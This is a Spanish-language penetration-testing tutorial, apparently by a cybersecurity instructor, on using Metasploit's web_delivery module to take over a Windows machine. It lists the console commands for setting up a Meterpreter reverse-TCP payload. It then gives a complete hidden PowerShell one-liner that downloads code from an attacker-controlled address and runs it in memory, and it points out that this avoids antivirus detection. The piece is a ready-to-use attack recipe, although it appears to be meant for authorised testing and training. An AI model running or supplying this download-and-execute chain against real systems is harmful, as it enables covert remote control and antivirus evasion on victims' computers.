Explotar un Sistema Windows utilizando el módulo web_delivery de MSF
El módulo de nombre “web_delivery” de Metasploit Framework, rápidamente activa un servidor web el cual sirve un payload o carga útil. El comando proporcionado iniciará un interprete en un lenguaje de script especificado, para luego descargar y ejecutar el payload. El principal propósito de este módulo es rápidamente establecer una sesión sobre una máquina objetivo, cuando el atacante manualmente escriba el comando por si mismo, por ejemplo a través de una inyección de comandos, sesión RDP, acceso local, o puede ser una ejecución de comandos remotos. Este vector de ataque no escribe hacia el disco, de tal manera no activará soluciones antivirus, y podría permitir el escalado de privilegios proporcionado por Meterpreter. Cuando se utiliza en objetivos PSH, se debe asegurar la arquitectura corresponda con la computadora objetivo, o utilizar SYSWOW64 powershell.exe para ejecutar cargas x86 sobre máquinas x64.
Se inicia la consola de Metasploit Framework para luego definir la utilización del módulo pertinente.
> search web_delivery
> use exploit/multi/script/web_delivery
Se definen las opciones del módulo, basándose en el escenario de evaluación.
> set SRVHOST Direccion_IP
> set SRVPORT 80
> set URIPATH /
> set LHOST Direccion_IP
Se modifica el payload por defecto a utilizar por el módulo, para luego proceder a definir el “target” u objetivo de explotación. De las tres opciones, Python, PHP, y PSH (PowerShell), se utilizará este exploit para evaluar un sistema Windows, de tal manera se utilizará la opción 2.
> set PAYLOAD windows/meterpreter/reverse_tcp
> show options
> show targets
> set target 2
Al ejecutar el exploit, se inicia un servidor en atención en Kali Linux, el cual espera por una conexión entrante. Todo lo necesario a continuación es ejecutar el comando PowerShell generado en el sistema objetivo.
En el Sistema Windows se inicia un prompt de comandos, para luego pegar y ejecutar el comando en PowerShell proporcionado por Metasploit Framework.
powershell.exe -nop -w hidden -c $l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring('http://192.168.0.46/');
Después de unos segundos se tiene una sesión abierta de Meterpreter en el sistema objetivo, teniendo la capacidad de controlarlo remotamente.
> sessions -i 1
> sysinfo
Fuentes:
https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery
Sobre el Autor
Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero